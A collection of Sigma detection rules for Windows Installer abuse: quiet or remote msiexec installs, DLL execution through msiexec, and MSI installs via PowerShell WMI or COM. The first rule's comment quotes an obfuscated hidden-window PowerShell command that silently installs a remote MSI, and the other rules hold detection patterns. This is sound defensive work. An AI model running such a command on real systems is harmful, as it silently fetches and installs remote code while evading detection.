title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
- https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
- https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
- https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
- attack.stealth
- attack.t1027.010
- attack.t1218.007
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
# Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
selection_img:
- Image|endswith:
- '\powershell_ise.exe'
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell_ISE.EXE'
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_cli:
CommandLine|contains|all:
- '-ComObject'
- 'InstallProduct('
- '.Insert('
- 'UILevel'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: DllUnregisterServer Function Call Via Msiexec.EXE
id: 84f52741-8834-4a8c-a413-2eb2269aa6c8
status: test
description: Detects MsiExec loading a DLL and calling its DllUnregisterServer function
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
- https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
- https://twitter.com/_st0pp3r_/status/1583914515996897281
author: frack113
date: 2022-04-24
modified: 2024-03-13
tags:
- attack.stealth
- attack.t1218.007
logsource:
product: windows
category: process_creation
detection:
selection_img:
- Image|endswith: '\msiexec.exe'
- OriginalFileName: '\msiexec.exe'
selection_flag:
CommandLine|contains|windash: ' -z '
selection_dll:
CommandLine|contains: '.dll'
condition: all of selection_*
falsepositives:
- Unknown
level: medium
title: MSI Installation From Web
id: 5594e67a-7f92-4a04-b65d-1a42fd824a60
status: test
description: Detects installation of a remote msi file from web.
references:
- https://twitter.com/_st0pp3r_/status/1583922009842802689
author: Stamatis Chatzimangou
date: 2022-10-23
tags:
- attack.stealth
- attack.t1218
- attack.t1218.007
logsource:
product: windows
service: application
# warning: The 'data' field used in the detection section is the container for the event data as a whole. You may have to adapt the rule for your backend accordingly
detection:
selection:
Provider_Name: 'MsiInstaller'
EventID:
- 1040
- 1042
Data|contains: '://'
condition: selection
falsepositives:
- Unknown
level: medium
title: MsiExec Web Install
id: f7b5f842-a6af-4da5-9e95-e32478f3cd2f
related:
- id: 8150732a-0c9d-4a99-82b9-9efb9b90c40c
type: similar
status: test
description: Detects suspicious msiexec process starts with web addresses as parameter
references:
- https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
author: Florian Roth (Nextron Systems)
date: 2018-02-09
modified: 2022-01-07
tags:
- attack.stealth
- attack.t1218.007
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- ' msiexec'
- '://'
condition: selection
falsepositives:
- False positives depend on scripts and administrative tools used in the monitored environment
level: medium
title: Msiexec Quiet Installation
id: 79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5
status: test
description: |
Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.
Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)
references:
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
- https://twitter.com/_st0pp3r_/status/1583914244344799235
author: frack113
date: 2022-01-16
modified: 2024-12-01
tags:
- attack.stealth
- attack.t1218.007
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\msiexec.exe'
- OriginalFileName: 'msiexec.exe'
selection_cli:
# Note that there is no space before and after the arguments because it's possible to write a commandline as such
# Example: msiexec -q/i [MSI Package]
CommandLine|contains|windash:
- '-i'
- '-package'
- '-a'
- '-j'
selection_quiet:
CommandLine|contains|windash: '-q'
filter_user_temp:
# The %temp% is a very common location for installers
ParentImage|startswith: 'C:\Users\'
ParentImage|contains: '\AppData\Local\Temp\'
filter_system_temp:
ParentImage|startswith: 'C:\Windows\Temp\'
filter_ccm:
ParentImage: 'C:\Windows\CCM\Ccm32BitLauncher.exe'
IntegrityLevel:
- 'System'
- 'S-1-16-16384'
condition: all of selection_* and not 1 of filter_*
falsepositives:
- WindowsApps installing updates via the quiet flag
level: medium
title: PowerShell WMI Win32_Product Install MSI
id: 91109523-17f0-4248-a800-f81d9e7c081d
status: test
description: Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
author: frack113
date: 2022-04-24
tags:
- attack.stealth
- attack.t1218.007
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains|all:
- 'Invoke-CimMethod '
- '-ClassName '
- 'Win32_Product '
- '-MethodName '
- '.msi'
condition: selection
falsepositives:
- Unknown
level: medium
title: Suspicious MsiExec Embedding Parent
id: 4a2a2c3e-209f-4d01-b513-4155a540b469
status: test
description: Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
author: frack113
date: 2022-04-16
modified: 2022-07-14
tags:
- attack.stealth
- attack.t1218.007
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
ParentCommandLine|contains|all:
- 'MsiExec.exe'
- '-Embedding '
filter_splunk_ufw:
Image|endswith: ':\Windows\System32\cmd.exe'
CommandLine|contains: 'C:\Program Files\SplunkUniversalForwarder\bin\'
filter_vs:
- CommandLine|contains: '\DismFoDInstall.cmd'
- ParentCommandLine|contains|all:
- '\MsiExec.exe -Embedding '
- 'Global\MSI0000'
condition: selection and not 1 of filter*
falsepositives:
- Unknown
level: medium
title: Suspicious Msiexec Execute Arbitrary DLL
id: 6f4191bb-912b-48a8-9ce7-682769541e6d
status: test
description: |
Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.
Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)
references:
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
- https://twitter.com/_st0pp3r_/status/1583914515996897281
author: frack113
date: 2022-01-16
modified: 2026-01-09
tags:
- attack.stealth
- attack.t1218.007
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\msiexec.exe'
CommandLine|contains|windash: ' /Y'
filter_main_legit_path:
CommandLine|contains:
- '\MsiExec.exe" /Y "C:\Program Files\'
- '\MsiExec.exe" /Y "C:\Program Files (x86)\'
- '\MsiExec.exe" /Y "C:\Windows\System32\'
- '\MsiExec.exe" /Y "C:\Windows\SysWOW64\'
condition: selection and not 1 of filter_main_*
falsepositives:
- Legitimate script
level: medium
title: Suspicious Msiexec Quiet Install From Remote Location
id: 8150732a-0c9d-4a99-82b9-9efb9b90c40c
related:
- id: f7b5f842-a6af-4da5-9e95-e32478f3cd2f
type: similar
status: test
description: Detects usage of Msiexec.exe to install packages hosted remotely quietly
references:
- https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-28
modified: 2025-10-07
tags:
- attack.stealth
- attack.t1218.007
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\msiexec.exe'
- OriginalFileName: 'msiexec.exe'
selection_cli:
# Note that there is no space before and after the arguments because it's possible to write a commandline as such
# Example: msiexec -q/i [MSI Package]
CommandLine|contains|windash:
- '-i'
- '-package'
- '-a'
- '-j'
selection_quiet:
CommandLine|contains|windash: '-q'
selection_remote:
CommandLine|contains:
- 'http'
- '\\\\'
filter_optional_openoffice:
CommandLine|contains|all:
- '\AppData\Local\Temp\OpenOffice'
- 'Installation Files\openoffice'
condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
- Unknown
level: medium